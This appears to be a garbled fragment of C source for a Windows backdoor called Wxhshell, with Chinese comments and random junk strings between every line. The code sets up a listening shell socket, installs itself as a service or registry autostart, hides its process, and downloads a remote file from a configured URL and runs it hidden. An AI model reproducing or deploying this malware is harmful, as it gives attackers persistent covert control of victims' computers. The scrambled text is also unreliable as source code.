X NX;&V7 CloseHandle(hProcess); aJF`rLm $@xkKe" if(strstr(procName,"services")) return 1; // 以服务启动 ,&9|Ac?$ <uvshZv return 0; // 注册表启动 0jmlsC> } I,[EL{fz e'6?iLpy // 主模块 ?/wloLS47 int StartWxhshell(LPSTR lpCmdLine)
pGFocw { 7jPmI SOCKET wsl; Px8E~X<@ BOOL val=TRUE; \5Jv;gc\\ int port=0; '3Ri/V, struct sockaddr_in door; .DQ]q o]OG u *<
(B if(wscfg.ws_autoins) Install(); %9lxE[/ q
mB@kbt port=atoi(lpCmdLine); l.BNe)1!22 8vo}
.JIl if(port<=0) port=wscfg.ws_port; 3XRG" U`Zn*O~/ WSADATA data; yiOF& if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; mAzW'Q4D v<wT`hiKW if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; F0\ry "(t setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;vitg"Zh> door.sin_family = AF_INET; Ba6xkEd door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2?j1~ ]DvZ door.sin_port = htons(port); `9-Zg??8r <Va>5R_d< if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { To`?<]8 closesocket(wsl); {@A2jk\ return 1; ;qMlGXW*q } (R-Q9F+; fW
_. if(listen(wsl,2) == INVALID_SOCKET) { r.^&%D closesocket(wsl); ;j=1 oW return 1; >y[S?M } ]@YQi<d2^ Wxhshell(wsl); YC'~8\x3z WSACleanup(); #F@7>hd1 7W"menw return 0; GHY>DrXO1u I>aa'em } _=5ZB_I /3]|B%W9 // 以NT服务方式启动 j&.BbcE45 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <Tf;p8# { =6&D4~R DWORD status = 0; 5b p"dIe DWORD specificError = 0xfffffff; U@nwSfp:G W<"\hQI serviceStatus.dwServiceType = SERVICE_WIN32; #9OP.4 serviceStatus.dwCurrentState = SERVICE_START_PENDING; 9 NQq=@ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; m{c#cR serviceStatus.dwWin32ExitCode = 0; G>QTPXcD serviceStatus.dwServiceSpecificExitCode = 0; U.OX*-Cd serviceStatus.dwCheckPoint = 0; 4a!7|}W serviceStatus.dwWaitHint = 0; "M^W:4_ kB#vh hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);
+;;%Atgn if (hServiceStatusHandle==0) return; IviQ)hp ()?co<@(l status = GetLastError(); #Ca's'j&f if (status!=NO_ERROR) ^~ $& { u V7Hsg9l serviceStatus.dwCurrentState = SERVICE_STOPPED; %PbqASm serviceStatus.dwCheckPoint = 0; ^1=|(Z/ serviceStatus.dwWaitHint = 0; #%b()I_([ serviceStatus.dwWin32ExitCode = status; f*{;\n(.t serviceStatus.dwServiceSpecificExitCode = specificError; y4We}/-< SetServiceStatus(hServiceStatusHandle, &serviceStatus); =@=R)C4f* return; k=2l9C3Z } z.&%>%TPP O'|P| serviceStatus.dwCurrentState = SERVICE_RUNNING; UMQW#$~C{g serviceStatus.dwCheckPoint = 0; 5'Jh2r serviceStatus.dwWaitHint = 0; zN/~a) if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); iCRw}[[ } Ej09RO"pB sJK:xk.6! // 处理NT服务事件,比如:启动、停止 J?quYlS VOID WINAPI NTServiceHandler(DWORD fdwControl) /3Ix,7 { MI'l4<>u switch(fdwControl) \}QuNwc { 9^#gVTGXv case SERVICE_CONTROL_STOP: }_(^/pnk serviceStatus.dwWin32ExitCode = 0; {-N90Oe serviceStatus.dwCurrentState = SERVICE_STOPPED; _JJKbi serviceStatus.dwCheckPoint = 0; -s%-*K+,W serviceStatus.dwWaitHint = 0; X#I`(iHY { ZHD0u)ri=J SetServiceStatus(hServiceStatusHandle, &serviceStatus); *R\/#Y| } <C"N X return; R5&$h$[/ case SERVICE_CONTROL_PAUSE: ?Ga2K serviceStatus.dwCurrentState = SERVICE_PAUSED; 4Re@ QOZ break; Jv^cOc case SERVICE_CONTROL_CONTINUE: ]VG84bFm serviceStatus.dwCurrentState = SERVICE_RUNNING; pY!dG-; break; `I vw`} L case SERVICE_CONTROL_INTERROGATE: m7wc)"`t break; Q@W|GOH3 }; U]! .~ji3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5Jhbf2- } YUVc9PV)Ws RnA&-\|* // 标准应用程序主函数 SeNF!k% Y int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g\\1C2jG { #S53u?JV8 ^0x.'G? // 获取操作系统版本 Ld}(*-1i OsIsNt=GetOsVer(); NM1cyZ GetModuleFileName(NULL,ExeFile,MAX_PATH); /,Dwu?Lcqp V3 _b! // 从命令行安装 9oje`Ay if(strpbrk(lpCmdLine,"iI")) Install(); [}p "ji$@b_\? // 下载执行文件 <=m
30{;f
if(wscfg.ws_downexe) { Z(LxB$^l[ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o!s%h!%L WinExec(wscfg.ws_filenam,SW_HIDE); {8{t]LK< } oP=T6PX~l '"xL}8HX} if(!OsIsNt) { +U+aWk // 如果时win9x,隐藏进程并且设置为注册表启动 /zl3&~4 HideProc(); x5fgF; StartWxhshell(lpCmdLine); J})$ } Ox7uG{t$# else Q/QQ:t<XUi if(StartFromService()) pcRF:~TE // 以服务方式启动 Evr2|4|O~ StartServiceCtrlDispatcher(DispatchTable); !cN?SGafZI else k1f3?l
vlU // 普通方式启动 a9D gy_!Y StartWxhshell(lpCmdLine); P1)* q0 9feD!0A return 0; uQ:ut( }
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